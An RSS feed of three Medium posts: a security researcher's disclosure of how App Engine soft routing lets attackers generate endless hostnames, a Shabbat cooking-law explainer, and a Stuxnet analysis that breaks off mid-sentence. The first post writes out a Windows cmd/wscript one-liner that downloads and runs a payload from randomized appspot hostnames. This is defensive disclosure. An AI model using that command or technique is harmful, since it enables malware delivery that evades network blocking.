<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Marcel Afrahim on Medium]]></title>
        <description><![CDATA[Stories by Marcel Afrahim on Medium]]></description>
        <link>https://medium.com/@marcelx?source=rss-a10ac75b8c76------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*VbJwfwJInca-iRFQ6WQfHg.jpeg</url>
            <title>Stories by Marcel Afrahim on Medium</title>
            <link>https://medium.com/@marcelx?source=rss-a10ac75b8c76------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 23:18:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@marcelx/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Attackers are abusing Google’s App Engine to circumvent Enterprise Security Solutions…Again!]]></title>
            <link>https://medium.com/@marcelx/attackers-are-abusing-googles-app-engine-to-circumvent-enterprise-security-solutions-again-eda8345d531d?source=rss-a10ac75b8c76------2</link>
            <guid isPermaLink="false">https://medium.com/p/eda8345d531d</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[gcp]]></category>
            <dc:creator><![CDATA[Marcel Afrahim]]></dc:creator>
            <pubDate>Fri, 18 Sep 2020 03:21:43 GMT</pubDate>
            <atom:updated>2020-09-18T03:42:00.578Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How to generate large number of URL hostnames on Google’s server for phishing and malware purposes…with ease.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wSucWieng3j4QQ2CWPt7qw.jpeg" /></figure><p>It is no secret that Threat Actors are always trying to abuse legitimate services to do their malicious activities. There has been numerous reports about phishing campaign that used appspot.com and azurewebsites.net for hosting the phishing baits and attack elements. They are lucrative platforms because normal users tend to place trust in websites that are hosted by top-tier vendors like Microsoft and Google. Reports as early as last month highlighted such activities.</p><ul><li><a href="https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service">A Big Catch: Cloud Phishing from Google App Engine and Azure App Service - Netskope</a></li><li><a href="https://www.zscaler.com/blogs/research/phishing-attacks-abusing-appspotcom-and-webapp-domains-google-cloud">Phishing attacks abusing appspot.com and web.app domains on Google Cloud</a></li></ul><p>But the (old) attack vectors described above are not the most efficient and do not last long. For each project you have on Google App Engine, you get one URL to serve that project and there is a limited number of project you can have per account. Thus, the attackers are left with limited number of URL hostnames to serve their attack which can be burned out and blocked by major reputation services fairly fast.</p><p>So how do you solve this? Easily, just ask <strong>Google</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*KKao_Nc7GMJ0INSLg-6STg.png" /><figcaption>Illustrative photo of a tired Google App engineer</figcaption></figure><p><strong>Step 1: Deploy your malicious App</strong></p><p>Deploying an App Engine project hosting a dynamic or static website to serve web pages or files is pretty straight forward process. Here I used the following guid to deploy my malicious app.</p><p><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></p><p>Once your app is running in App Engine, you will have the following URL format to send HTTP requests to the app or visit from browser:</p><blockquote>https://<strong>PROJECT_ID</strong>.REGION_ID.r.appspot.com</blockquote><p>where PROJECT_ID is the ID of the Google Cloud project that contains the app. Our malicious app is now hosted at:</p><blockquote>https://bad-app-2020.ue.r.appspot.com</blockquote><p><strong>Step 2 : URLs for services and versions</strong></p><p>According to Google’s resource page on <a href="https://cloud.google.com/appengine/docs/standard/python/how-requests-are-routed#console">How Requests are Routed</a>:</p><blockquote>If you create more than one service in your app, each service has its own URL. Each version of a service also has its own URL, so you can deploy and test a new version before configuring that version to receive traffic.</blockquote><p>The URLs for specific services and versions are then in the following form:</p><p>VERSION-dot-SERVICE-dot-PROJECT_ID.REGION_ID.r.appspot.com</p><p>Requests are received by any version that is configured for traffic in the targeted service. If the service that you are targeting does not exist, the request gets <strong>Soft Routed</strong>.</p><p>You may ask <em>“What is Soft Routed”?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*JuZBnp2aO_joq1pMLO83HQ.png" /></figure><p>If a request matches the PROJECT_ID.REGION_ID.r.appspot.com portion of the hostname, but includes a service, version, or instance name that does not exist, then the request is routed to the default service, which is essentially your default hostname of the app.</p><p>What this means is that there is almost unlimited number of URL hostnames as part of your App as long the PROJECT_ID portion of URL matches your project name. For example, the followings are valid URLs/hostnames which would serve the content I have behind the app:</p><blockquote>https://<strong>random123-random123-random123-dot-<em>bad-app-2020</em></strong>.ue.r.appspot.com</blockquote><blockquote>https://<strong>insertanythingyouwanthere-xyz123-xyz123-dot-<em>bad-app-2020</em></strong>.ue.r.appspot.com</blockquote><p>Potentially this can produce an extremely large number of URL hostnames that can serve malicious content which traditional Anti-bot or blocking tools will fail to catch since they can not differentiate between PROJECT_ID and VERSION. Not only that, the URLs would have all the bells and whistles of a trusted website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*wTMRWWOHL6NEu9EhrsEVZQ.png" /><figcaption>Got the idea? Excellent!</figcaption></figure><p><strong>Step 3 : Bypass Security Solutions</strong></p><p>But wait, it gets better. Apps running on appspot would get <strong>default</strong> WebPulse categorization of being Office/Business application, no matter what the URL looks like. So even if an organization being targeted has content filtering or other proxy tools, our little malicious app would not be blocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RYw8RHCogjxW0Uf2paiQag.png" /><figcaption>Wolf in sheep’s clothing</figcaption></figure><p>Given the fact that Google App Engine can also host the file, our little app can now serve a malware from large number of the hostnames/URLs which is being trusted by all:</p><blockquote>https://<strong>random123-random123-random123-dot-bad-app-2020</strong>.ue.r.appspot.com/payload.bad</blockquote><blockquote>https://<strong>xyz123-xyz123-xyz123-dot-bad-app-2020</strong>.ue.r.appspot.com/payload.bad</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*ZXjzI-ZU5qtK0DFocXuHEA.png" /><figcaption>So relateable!</figcaption></figure><p><strong>A Case Scenario:</strong></p><p>It was only last year that I wrote about similar issue with Cloudflare Workers being abused in similar way. If you need a refresher, here is the link:</p><p><a href="https://blog.usejournal.com/threat-actor-behind-astaroth-is-now-using-cloudflare-workers-to-bypass-your-security-solutions-2c658d08f4c">Threat Actor behind Astaroth is now using Cloudflare Workers to bypass your Security Solutions.</a></p><p>Let me show you how to essentially apply the same attack and server my payload from Google’s App Engine infrastructure. The second stage of Astaroth malware used the following script to run on the victim&#39;s machine:</p><blockquote><strong>%ComSpec%</strong> /c “echo <strong>GetObject</strong>(“script:hxxps://xsw<strong>%RANDOM%</strong>nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cf0371proud-glade-92ec.ativadormasterplus.workers.dev/?09/”)” &gt; %temp%\Lqncxmm:vbvvjjh.js &amp;&amp; start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”</blockquote><p>While it’s less commonly known or used but “<strong>%ComSpec%</strong>” is a pre-assigned environment variable that, by default, stores the “cmd.exe” absolute path and <a href="https://en.wikipedia.org/wiki/COMSPEC">dates back</a> to the stone ages.<br>Next, we have the <a href="https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/getobject-function"><strong>GetObject</strong> VBA function</a> with a link to WScript file to download and run from the temp folder. But pay attention to the URL again, there is <strong>“%RANDOM%”</strong> command in the URL. “<strong>%RANDOM%”</strong> is a built-in variable in Windows CMD shell that generates a random integer from 0 to 32,767. Since the URL has echo wrapped around it, the random variable is successfully replaced with valid numbers and passed to CMD to execute the GetObject command. This way every time the script is executed, a different URL address/Hostname is used to download the final payload. To make this work from our little malicious app, we just need to change a single line:</p><blockquote><strong>%ComSpec%</strong> /c “echo <strong>GetObject</strong>(“script:https://<strong>%RANDOM%-%RANDOM%-%RANDOM%-dot-bad-app-2020</strong>.ue.r.appspot.com/payload.bad”)” &gt; <br>%temp%\Lqncxmm:vbvvjjh.js &amp;&amp; start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”</blockquote><p>And now you have a script that downloads the payload from different URL hostnames each time is run and would render the network IOC of such hypothetical sample absolutely useless. The solutions that rely on single run on a sandbox to obtain automated IOC would therefore get a new Network IOC and potentially new file IOC if script is modified just a bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*ifBo-zuWkHHuY_RGhtxBBg.png" /><figcaption>Just for demo!</figcaption></figure><p>In this scenario, I am just reusing an old malware and attack vector. But there are a lot of opportunity to get creative with this and use different scripting languages for initial stages with multiple Appspot apps serving both files and file-less malwares on different stages of attack. As I mentioned before, our little app could be modified to serve slightly modified file which has new hashes on each request and essentially render traditional IOCs that so many organization still rely on <em>useless</em>.</p><p><strong>Final Comments:</strong></p><p>At this time, I am not aware of any Threat Actors using Google’s Appspot engine in this way as part of a malware campaign or attack. My hope is this article will bring the core issue to the attention of App Engine engineering team in order to fix the possibilities of abuse fundamentally (as opposed to just reporting the malicious projects to their abuse team).</p><p>There is always potential for abuse when large and trusted cloud hosting and engine vendors roll out features without having proper review of such features by security professionals who are knowledgeable about this domain and have seen a thing or two on how legitimate features can be used for malicious purposes.</p><p><strong><em>Updates:</em></strong></p><p>It looks like some phishing actors have already started using this technique while hosting phishing kits on Google’s App Engine. What <a href="https://medium.com/u/17bbe5f7c5f4">ozuma5119 / Yusuke Osumi</a> is tweeting about and it’s subsequent Pastebin dump is just one Google App Engine project hosting the phish kit and the automated phishing emails that were sent out just had random characters prefixed to the hostnames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*tade9ZWqvpbSWG61sF7YoA.png" /><figcaption><a href="https://twitter.com/ozuma5119/status/1304965275960262657">https://twitter.com/ozuma5119/status/1304965275960262657</a></figcaption></figure><p><a href="https://pastebin.com/WfcVLtL7">Phishing/OpenPhish/Microsoft on appspot.com - Pastebin.com</a></p><p>Use a Google Drive/Service phishing kit on Google’s App Engine and normal user would not just realize it is not Google which is asking for credentials. 😅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eda8345d531d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Principles of Bishul (cooking)]]></title>
            <link>https://medium.com/@marcelx/the-principles-of-bishul-cooking-3e2b560296e2?source=rss-a10ac75b8c76------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e2b560296e2</guid>
            <category><![CDATA[judaism]]></category>
            <category><![CDATA[halacha]]></category>
            <category><![CDATA[shabbat]]></category>
            <category><![CDATA[jewish-law]]></category>
            <dc:creator><![CDATA[Marcel Afrahim]]></dc:creator>
            <pubDate>Thu, 12 Mar 2020 04:22:02 GMT</pubDate>
            <atom:updated>2020-03-12T04:22:02.672Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is not a Cyber Security related post.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*piB6uFn8_wI3HHw5.jpg" /></figure><p>One of the thirty-nine melachos is bishul (cooking). Since Bishul is one of the melachos that comes up many times on any given Shabbos, it is very important to learn the intricacies of the melacha very well.</p><p><strong>Methods of Cooking</strong></p><p>Included in the melacha of bishul is cooking, baking, roasting, and frying.</p><p>Cooking is asur through the medium of fire, microwave, electric stoves, electric ovens or any other normal way of cooking.</p><p>Even if there is no current fire or heat source, bishul can still take place. Therefore, it is asur to cook in a pot that was heated to the degree where one can cook in it, even if it is no longer on the fire. We will iy”H explain the differences between a kli rishon, kli sheni and kli shlishi in the future.</p><p><strong>Cooking in the sun</strong></p><p>It is mutar to place a pot of food in the sun to cook it. However, there is an isur drabanan to cook in a pot that absorbed heat from the sun. The reason for this is that the Rabbis were afraid that one may come to mix it with a pot that was heated by fire which as mentioned above is asur to cook in.</p><p><strong>Non-foods</strong></p><p>This melacha applies to non-foods as well, so one who cooks herbs in order to make a dye (as they did in the mishkan) or melts wax, or heats metal until it turns red hot on Shabbos transgresses the melacha of bishul. The rule is that anytime one softens non-foods through heat it is bishul. However even when one heats something up and it hardens such as heating earthenware vessels, it is still bishul because before it hardens it softens.</p><p>Some opinions hold that merely heating metal even to the degree of yad soledes bo (around 110 degrees Fahrenheit) is asur. Based on this they hold that one is not allowed to put an empty pot (as opposed to a pot that has food in it which is mutar) on the fire or even to put a blech (sheet of metal that covers the fire for shabbos) on the fire on Shabbos because of the melacha of bishul. Other opinions though allow this. Lechatchila one shouldn’t put himself in this situation and prepare the blech from before Shabbos.</p><p>One is allowed to put hot water in a one-time use plastic cup or hot food inside a one time-use plastic plate even though the heat softens the plastic because the plastic cup and plate is considered already soft even before putting the hot water inside (see sources in footnote for other reasons why it is mutar).</p><p><strong>Cooking naturally edible foods</strong></p><p>The isur of bishul also applies to things that are already edible in their natural form. Therefore, it is asur to cook water or vegetables and fruits that are edible raw.</p><p><strong>Cooking solid foods that were once cooked</strong></p><p>There is a rule in the melacha of bishul that once <strong>solid</strong> foods are cooked, they are no longer susceptible to bishul. For example, chicken or soup noodles that were fully cooked before Shabbos, which then cooled, can be placed in a hot pot of soup that was just taken off the fire (if it is still on the fire then it can be asur because of the isur drabanan of chazara, which iy”H be discussed in the future). This is true regardless, as mentioned before, a hot pot that was taken off the fire has the power to cook. The reason for this is that even though the chicken or noodles have cooled down, the effects of the original bishul (which made it edible, changed its texture, etc.) are still in place, and therefore we can apply the rule of there is no <em>bishul after bishul</em>.</p><p>It is important to note that this rule only applies when the food is fully cooked. However, if it was made edible but was not fully cooked, it is still asur to recook it on Shabbos.</p><p>The rule that one can cook things that were previously cooked is always true only when it applies to <strong>solid foods</strong>. But one who melts metal that was once melted before still transgresses bishul because no effect of the original bishul remained once the metal cooled off and hardened, therefore we can not apply the rule of there is no <em>bishul after bishul</em>. For a similar reason the halacha states that when it comes to liquids we do not have this heter and therefore it would be asur to cook a liquid that was once cooked and then cooled down. We will iy”H explain the halacha of liquids at length in the future.</p><p><strong>Cooking after baking and vice versa</strong></p><p>Another limitation to this rule is when the method of heat that is being applied on shabbos produces a result that is fundamentally different than the first. For example, if before shabbos the heat applied was done through baking/roasting (which is done without the medium of water and sauce) and the second time around the heat is being applied through cooking (through a medium of water or sauce). Since baked and cooked food are fundamentally different, many poskim hold that it is asur to cook something that was baked or vice versa and this is indeed what should be followed.</p><h3><strong>Practical Examples</strong></h3><p>Let’s look at a few applications of these halachos.</p><p>One should not cook Turkish coffee on Shabbos by placing it in hot water because it was only roasted when it was made, and when one places it in water it is considered <em>cooking after roasting</em>. We will iy”H explain this halacha with regards to preparing Turkish coffee and the like in a kli shlishi.</p><p>One should not place bread inside soup and biscuit inside tea because it is considered cooking after baking. One may however place these things in a kli shlishi (the halachos of kli rishon, kli sheni and kli shlishi will iy”H be discussed in the future).</p><p>Baked potato or roasted chicken should not be put inside a pot of hot soup that was removed from the fire because that would be considered cooking after baking.</p><p>Chicken that was cooked before Shabbos inside a sauce or water may not be placed (without its sauce and water) next to a place where there is extreme heat that can make it be considered roasted, because this is considered roasting after cooking which is asur. This presents a problem with warming up cooked chicken and the like. However, usually when things are placed on top of an upside down pan or on top of another pot to warm up on Shabbos (in accordance with the laws of chazara which will be discussed in the future iy”H), they do not get so hot to be considered roasted. But each case should be tested on its own and if the previously cooked chicken does get the taste of roasted or baked chicken, then one should not warm it up that way.</p><p>In a case where one doesn’t care if it does get the taste of baked/roasted chicken or not, and it is not for sure going to happen, it is mutar to do it in accordance with the rule of davar sh’einu miskaven.</p><p>(As a side note, it should be noted that separating the chicken from its sauce is often a problem of borer depending on how much sauce and chicken there is. This is a problem even if one wants to warm it up right away because warming it up is not considered using it. Refer to hilchos borer where this was spoken about at length).</p><p><strong>Things that were both cooked and baked</strong></p><p>Something that was both baked (without water or sauce) and cooked (with water or sauce) gets the halacha of the last thing that was done to it. So if it was first baked and then cooked it has the status of a cooked food and if it was first cooked and then baked it has the status of a baked food.</p><p>Certain kugels, like lukshin kugel, that are first cooked and then baked are a good example of this. According to the above since the last step in their preparation is baking, they have the halachic status of baked food.</p><p><strong>Fried foods</strong></p><p>It is not clear if things that are fried are considered cooked or baked. Therefore they should be treated with the stringencies of both baked and cooked things. This presents a problem when it comes to heating up fried schnitzel. However as mentioned above one can heat it up in the same way that one would heat up cooked chicken without its sauce (refer to the halacha above).</p><p>This also presents a problem when it comes to fried croutons. Since fried things can also be considered baked, they can’t be placed inside a pot of soup because that would entail cooking after baking. The way around this is to only place them in a bowl that is a kli shlishi (the halachos of a kli shlishi will be discussed in the future iy”H).</p><p><strong>Toasting</strong></p><p>There are many poskim who asur toasting bread on Shabbos. Some say this is because even though baking something that was baked is mutar, toasting it is not ok because it significantly changes its texture. Others asur it because of makeh b’patish and bishul. Therefore, practically speaking even though some poskim matir it, one should refrain from toasting bread on Shabbos.</p><p><strong>Liquids</strong></p><p>Unlike fully-cooked solid foods that is permitted to rewarm on Shabbos, there is a <em>machlokes</em> if it is <em>muttar</em> to warm liquids that were once heated and subsequently cooled down. The halachah follows the <em>machmir</em> opinion, holding that it is <em>asur</em> to warm them up. This is because once liquids cool down, there is no significant, detectable trace of the <em>bishul</em> they went through, and it is therefore <em>asur</em> to reheat them.</p><p><strong>What is considered cooled down?</strong></p><p>According to the Rema, as long as the liquid is still hot enough that one who wants something hot would drink it, then it is not considered cooled down; this is indeed the opinion Ashkenazim follow.</p><p>However, according to the <em>Shulchan Aruch</em>, once the temperature of the liquid drops below <em>yad soledes b</em>o (around 110 degrees Fahrenheit), it is already considered cooled down, regardless of whether it is still drunk as a hot drink, and this is indeed the halachah for Sefardim. Furthermore, the Sefaradim follow the <em>Shulchan Aruch</em> that says that once a liquid is poured into a <em>kli sheni </em>(a second vessel), it is considered cooled down and may no longer be reheated, even if it is <em>yad soledes bo</em>. The reason for this is that as opposed to a kli rishon, a kli sheni does not have the ability to cook things even if it is hot. So when one heats up a kli sheni by placing it on the fire or when one pours from a kli sheni to a kli rishon, he is essentially giving it the ability to cook, which is asur.</p><p>According to the above, if one ladled soup into a bowl and now wants to pour it back in the original pot (that it is no longer on the fire) to store it in the fridge, and the pot is still as warm as <em>yad soledes bo</em>:</p><blockquote>According to the Ashkenazic <em>minhag</em>, it is <em>muttar</em> for him to do so, as long as the soup in the bowl is still warm enough that it is still eaten as a hot food.</blockquote><p>For Sefardim, it is <em>asur</em> to do so, since it was already put into a <em>kli sheni</em>, i.e. the bowl. So, one would have to wait until the pot of soup is no longer considered <em>yad soledes bo</em> to pour it back.</p><p><strong>Drops of liquid inside a cup</strong></p><p>Another application of this halachah is regarding filling a cup with hot water when there are droplets of water inside the cup.</p><p>If the water droplets were never cooked, for example if one washed out a cup that did not completely dry and now wants to fill it with hot water, one must dry out the cup.</p><p>If the droplets of water were once cooked, for example the droplets are remnants from the first cup of tea that he drank:</p><p><em>For Ashkenazim-</em></p><p>If the droplets are still hot enough that they would be drank by a person who wants a hot drink, then it is <em>muttar</em> to fill it with hot water. If the droplets cooled to a temperature lower than what one would consider a hot drink, then one should completely dry the cup before refilling it (one should also be careful not to squeeze out water from the napkin he is drying it with). Some <em>poskim</em> hold that if one shakes out the remaining droplets to the point where there is so little left that one doesn’t care about them being cooked, it is <em>muttar</em> to refill the cup. However, one can only rely on this if he truly doesn’t care at all if the droplets get cooked or not. Those who are particular to have a very hot drink may not rely on this (see the footnote for the reason).</p><p><em>For Sefaradim-</em></p><p>If the droplets are hot to the point of <em>yad soledes bo </em>(which is usually not the case), it is <em>muttar</em> to fill up the cup from the urn. While we mentioned above that once something is in a <em>kli sheni</em> it is considered cooled down, in this case, since one is not pouring the droplets in the cup back into a <em>kli rishon</em>, he is not giving them the ability to cook, and therefore it is <em>muttar</em>. If the droplets are no longer <em>yad soledes bo</em>, one should dry the cup before refilling it (one should also be careful not to squeeze out water from the napkin he is drying it with). Some <em>poskim</em> hold that if one shakes out the remaining droplets to the point where there is so little left that one doesn’t care about them being cooked, it is <em>muttar</em> to refill the cup. However, one can only rely on this if he truly doesn’t care at all if the droplets get cooked or not. Those who are particular to have a very hot drink may not rely on this (see the footnote for the reason).</p><p>The halacha for sticking a ladle with droplets of water on it, into a bowl that was taken off the fire (and is yad soledes bo) is the same as that of the droplets of water in a cup (for Sefardim see footnote for the reason).</p><p>Sometimes there are droplets of water on the lid of a pot that one takes off the fire. In a case where one wants to return the pot to the hotplate/blech (in accordance with the conditions of the laws of chazara which will iy”H be explained in the future), it presents the same problem of reheating liquids. In this case the halacha is the same as that of the ladle and leftover droplets of water in a cup mentioned above.</p><p><strong>Adding water to cholent</strong></p><p>Often one needs to add water to the cholent pot that is burning on the hotplate. What is the right way to do this?</p><p><em>Ashkenazim-</em></p><p>can transfer water from an urn to a cup and then pour it into the cholent pot; because the water is hot, there is no cooking of water taking place. The poskim point out that one should pour slowly into the cholent pot because if one pours fast then it can be a form of mixing which is a problem when the food is on the fire (this will be explained in the future iy”H).</p><p><em>Sefardim-</em></p><p>are not allowed to transfer the water from an urn into a cup and then pour it into the cholent. The reason is that because as mentioned before once things are transferred into a cup they are considered cooled down. Some poskim hold that Sefaradim one can leave a pot of hot water on the blech and anytime one needs to add water one can directly pour from the pot into the cholent pot. However, some very prominent Sefardi poskim hold that even this is not ok. Their reasoning is that water that is in an urn has the ability to fully cook something that is placed inside it, while water that is poured form an urn can only cook a layer, because it cools down in the air as it is poured. So when one pours from an urn, the second the water is revealed to the air, it loses its ability to cook fully and can now only cook a layer. But once it reaches the cholent pot it regains its ability to cook fully because it is now in a kli rishon. These poskim hold that this is a problem of bishul. Even according to these poskim however there is a way to add water to cholent. One can place a bag of water inside the pot and when one needs water one can open the bag and water will come out.</p><p><strong>Solid with a liquid sauce</strong></p><p>When it comes to a solid that is served with some liquid sauce there are different opinions regarding whether it should be treated as a solid or liquid. Practically speaking if there is any sauce standing by itself it gets the halachic status of liquids. Some opinions hold that if one empties out all the sauce from chicken etc. the chicken is considered a solid even though it has some drops of sauce on top of it. Others however hold that even little drops gives it the halachic status of a liquid.</p><p>It must be pointed out that even according to the lenient opinions only droplets of sauce that are coming to serve the solid are considered a part of the solid. However if there are droplets of water that aren’t connected to the food, for example excess water on noodles, is a problem even according to the lenient opinions.</p><p>(As a side note, it should be noted that separating the chicken from its sauce is often a problem of borer depending on the situation. This is a problem even if one wants to warm it up right away because according to many opinions warming it up is not considered using it. Refer to hilchos borer where this was spoken about at length).</p><p><strong>Solid that melts</strong></p><p>There is a machlokes whether something that was already cooked and is solid at room temperature but melts as one heats it up, is treated as a solid (meaning one can reheat it even if it cooled down since there is no cooking after cooking when it comes to solids) or whether it is treated like a liquid which is asur to reheat once it cooled down. One should avoid putting oneself in this situation, but in a place of need one can be meikel.</p><p>It must be pointed out that the reason for the opinions who consider it as a solid is because when one is placing it on the hotplate it is a cooked solid and we go after the time that he is doing the action of placing it. According to this one would not be allowed to pour from a kli rishon on to something that was previously cooked but melts (for example sugar) because the second that the hot water hits the sugar, it melts it and then when one continues to pour he is essentially doing the action of cooking on a liquid which would be asur even according to the lenient opinions. One should only place the sugar in a kli shlishi (as will be described in future articles iy”H).</p><h4><strong>L’ilui nishmas Esther bat Shlomo z”l</strong></h4><p>Original dvar torah by Rabbi Haviv Danesh.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e2b560296e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stuxnet]]></title>
            <link>https://medium.com/@marcelx/stuxnet-7ac09ef261d1?source=rss-a10ac75b8c76------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ac09ef261d1</guid>
            <category><![CDATA[stuxnet]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[duqu]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[flame]]></category>
            <dc:creator><![CDATA[Marcel Afrahim]]></dc:creator>
            <pubDate>Fri, 03 Jan 2020 19:24:05 GMT</pubDate>
            <atom:updated>2023-11-01T17:18:21.576Z</atom:updated>
            <content:encoded><![CDATA[<p>The 2020s have started with a US drone attack <a href="https://www.nytimes.com/2020/01/03/world/middleeast/iranian-general-qassem-soleimani-killed.html">killing</a> prominent Iranian military general. The 2010s also started with a major offensive operation against Iran but in a different medium.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/0*dZRuYFPthCCwnDTo" /></figure><p>Stuxnet was a piece of malware first known to be an instance of targeted cyber warfare, first to take advantage of multiple zero-day exploits, to use stolen signing keys to validate its certificates and the first to use PLC rootkits. Stuxnet was a targeted attack against Iran‘s nuclear program, specifically Siemens SCADA systems, and “nobody” has taken responsibility for the attack. Its legacy has influenced the creation of many successors such as Duqu, Flame, and Gauss which were also targeted attacks of cyber warfare. This paper analyzes different aspects of Stuxnet, outlining some of its technical details, and discussing its legacy.</p><h3>Introduction</h3><p>In the years leading up to the launch of the Stuxnet malware, Iranian President Mahmoud Ahmadinejad had been very public about his country‘s attempts to develop a possibly militarized nuclear program. There was a worldwide consensus that Iran should not be allowed to continue development in the field. Unfortunately, diplomacy and economic means were not proving effective, and Iranian nuclear development was continuing at facilities like the ones at Natanz and Bushehr. And then, suddenly, a mysterious sequence of events occurred. WikiLeaks reported that there was a “serious nuclear accident” at Natanz that had lead to Iranian nuclear chief Gholam Reza Aghazadeh‘s resignation [1]. Details of the accident were not known for a while until President Mahmoud Ahmadinejad reported in 2010 that thousands of centrifuges involved in uranium enrichment had been sabotaged and had to be retired. Not coincidentally, researchers had begun researching a strange piece of malware that targeted industrial control mechanisms earlier that year. The malware was nicknamed Stuxnet, a combination of some keywords found in the malicious software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*aTVrhMtW6-_7dM-W.png" /></figure><h3>Infection and Propagation</h3><p>Stuxnet‘s success was made possible by the multitude of vulnerabilities that it exploited. Its initial infection came via removable drives, specifically USB drives, which allowed Stuxnet to jump the air gap [15]. To propagate from a USB drive and infect a system, it used an autorun.inf file. To propagate to removable drives, it used a shortcut vulnerability related to.LNK files, which also have an auto-execution exploit [6].</p><p>To infect the system, infected USBs would exploit autorun.inf files. Stuxnet then turns off the autoplay command and replaces it with another “Open” command. If the drive is opened from the menu shown below, Stuxnet runs and then opens the drive to hide the fact that it is infecting the system [6].</p><p>To infect a USB the shortcut vulnerability would first check that it is running within services.exe and figure out which version of Windows was used. It then created a new hidden window that would wait for a removable drive to be inserted. When a drive is inserted it checks that the current date is before June 24, 2012. Stuxnet then determines if it should remove itself from the drive or copy itself to the drive. This is determined by certain circumstances such as how many systems have that drive infected already. It will then copy its contents to the removable drive if certain criteria are met. From here Stuxnet attempts to hide the contents from the user because the rootkit is not installed yet and installs Stuxnet onto the drive [6].</p><h3>The Exploits</h3><p>Stuxnet was the first piece of malware known to use multiple zero-day exploits. There were a total of four zero-day exploits: two were network propagation techniques and two were for gaining administrator privileges. Once the SCADA system was infected it would then propagate through the system using the peer-to-peer mechanism within LAN [6]. The two zero-day network propagation exploits were the printer spooler vulnerability, MS10–061, and the windows server service vulnerability, MS08–067. The printer spooler vulnerability, MS10–061, first became public in 2009 but had not been exploited before.</p><blockquote><em>“The printer spooler vulnerability allows a file to be written to the %System% folder of vulnerable machines. The actual code to carry out the attack is stored in resource 222; this export loads the DLL stored in that resource and prepares the parameters needed to execute the attack, namely an IP address and a copy of the worm, and then calls export one from the loaded DLL. Using this information, Stuxnet can copy itself to remote computers as %System%\winsta.exe through the Printer Spooler, and then execute itself.” [6]</em></blockquote><p>The windows server service vulnerability can be exploited by connecting over SMB, and then by sending a malformed path, you can allow arbitrary execution. Stuxnet uses this vulnerability to copy itself to unpatched remote computers [6]. The next two zero-day exploits involved escalating to admin privileges if the user did not already have it. Those vulnerabilities were Windows Win32k.sys Local Privilege Escalation, MS10–073, and the Task Scheduler Escalation of Privilege, MS10–092. The Windows Win32k.sys Local Privilege Escalation vulnerability was exploited if the operating system was not a 64-bit system and was Windows XP or Windows 2000. Stuxnet used a buffer overflow vulnerability to get a root shell. Because memory in the buffer could have been limited, Stuxnet broke up the shellcode. Memory was allocated for the main shellcode and the hijacked space in memory. Stuxnet would use a smaller piece of the shellcode to jump to the main execution of the shellcode. Stuxnet used a malformed keyboard layout to overflow the buffer, exploit the vulnerability, get the root shell, and then deleted the malformed keyboard layout and restored the original layout. This shell was then used to load Stuxnet [6].</p><p>The Task Scheduler Escalation of Privilege vulnerability was exploited if the operating system used was Windows Vista, Windows 7, or Windows Server 2008 R2. First Stuxnet created a job that would run under the current user with the least privileges. Here it would calculate the CRC32 checksum of this task. Then, Stuxnet would modify the task configuration file of the task so that it has the same checksum. Then it would set the Principal ID to “LocalSystem,” UserID to “S-1–5–18,” the runlevel to “HighestAvailable” and finally actions Context to “LocalSystem” Finally, it ran the job. Task Scheduler started the task with Administrator privileges [12].</p><p>Multiple rootkits were also used to hide Stuxnet. First, a rootkit was installed onto the USB drive to prevent the system from noticing the malware and to prevent the system from knowing that the USB drive was the source of the malware. Then whenever removable drives were inserted into the system, it would propagate to those removable drives infecting them. This is how Stuxnet was able to propagate and jump the air gap [15]. Stuxnet specifically looked for systems using WinCC/Step 7 software. Stuxnet monitored three activities to prevent detection: Read requests for its malicious code, 